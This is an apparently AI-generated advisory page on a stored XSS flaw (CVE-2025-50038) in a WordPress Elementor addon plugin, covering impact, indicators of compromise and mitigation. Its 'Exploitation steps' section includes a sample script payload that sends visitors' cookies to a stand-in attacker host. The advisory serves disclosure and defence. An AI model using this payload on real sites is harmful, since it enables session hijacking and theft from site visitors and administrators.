CVE-2025-50038
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-50038 is a Stored Cross-Site Scripting (XSS) vulnerability in the Anant Addons for Elementor WordPress plugin, affecting all versions up to and including 1.2.8. The vulnerability was reported on May 10, 2025, and published by Patchstack on June 19, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium), requiring low privileges and user interaction for exploitation (Patchstack, Wordfence).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), arising from insufficient sanitization of user-supplied input within the Anant Addons for Elementor plugin. An authenticated attacker with at least Contributor-level privileges can inject malicious scripts into plugin-rendered content, which are then stored in the database and executed in victims' browsers when they visit affected pages. Exploitation requires a privileged user to interact with the crafted content (e.g., viewing a page containing the malicious widget output) (Patchstack).

Impact

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript in WordPress pages, which executes in the browsers of site visitors, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions, defacement, or redirection of visitors to malicious sites. The changed scope (S:C) in the CVSS vector indicates that the impact extends beyond the vulnerable component to affect other users' browser sessions (Patchstack).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-50038. The EPSS score is approximately 0.034%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running Anant Addons for Elementor version 1.2.8 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
  2. Obtain low-privilege access: Register or obtain credentials for a Contributor or higher-level account on the target WordPress site.
  3. Inject malicious payload: Create or edit a page/post using the Elementor editor with an Anant Addons widget, inserting a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within the plugin's widget settings.
  4. Publish content: Save and publish the page so the malicious script is stored in the WordPress database.
  5. Trigger execution: Wait for a privileged user (e.g., administrator) or site visitor to load the affected page, causing the stored script to execute in their browser and exfiltrate session cookies or perform unauthorized actions (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from Contributor-level accounts containing encoded script tags or JavaScript event handlers in Elementor widget data.
  • Database: Unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) stored in the wp_postmeta table associated with Elementor widget settings for Anant Addons widgets.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing Anant Addons widgets, potentially indicating cookie or credential exfiltration.
  • File System: No direct file-system artifacts expected for stored XSS, but review Elementor-generated page data for anomalous script content.

Mitigation and workarounds

As of the publication date (June 19, 2025), no official patched version of Anant Addons for Elementor has been released. Site administrators should disable or remove the plugin until a fix is available. As a compensating control, restrict Contributor-level user registrations and limit access to the Elementor editor to trusted users only. Patchstack customers receive virtual patching protection against this vulnerability (Patchstack).

Community reactions

The vulnerability was covered in Wordfence's weekly WordPress vulnerability report for the week of June 16–22, 2025, and catalogued by Patchstack, which assigned it a low priority rating. No notable researcher commentary or significant social media discussion has been identified beyond standard vulnerability database listings (Wordfence, Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-19848MEDIUM6.5
  • wp-user-avatar
NoYesAug 21, 2026
CVE-2026-17559MEDIUM5.3
  • content-protector
NoYesAug 21, 2026
CVE-2026-16650MEDIUM5.3
  • charitable
NoYesAug 21, 2026
CVE-2026-15150MEDIUM5.3
  • mycred
NoYesAug 21, 2026
CVE-2026-18356LOW3.7
  • limit-login-attempts-reloaded
NoYesAug 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management